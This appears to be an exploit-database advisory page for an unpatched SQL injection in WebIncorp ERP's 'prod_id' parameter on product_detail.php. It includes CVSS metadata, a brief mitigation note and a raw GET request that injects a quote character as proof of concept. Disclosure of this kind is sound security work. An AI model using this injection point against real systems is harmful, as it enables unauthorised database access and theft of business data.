WebIncorp ERP - SQL injection

vendor:

ERP Software Qatar

by:

n1x_ [MS-WEB]

7.5

CVSS

HIGH

SQL injection

CWE

Product Name: ERP Software Qatar

Affected Version From: Every version

Affected Version To: Every version

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2019

WebIncorp ERP – SQL injection

A SQL injection vulnerability exists in WebIncorp ERP, which allows an attacker to execute arbitrary SQL commands via the vulnerable parameter 'prod_id' in the 'product_detail.php' page. An attacker can send a specially crafted GET request to the vulnerable page to exploit this vulnerability.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: WebIncorp ERP - SQL injection
# Date: 1.8.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://www.webincorp.com/products/erp-software-qatar
# Version: Every version
# CWE : CWE-89

Vulnerable parameter: prod_id (product_detail.php)

[GET Request]

GET https://host/product_detail.php?prod_id=x' HTTP/1.1
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US
Cache-Control: max-age=0
Cookie: PHPSESSID=t57dv7rdsvut33jroled9v6435
Host: host
Referer: https://host/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362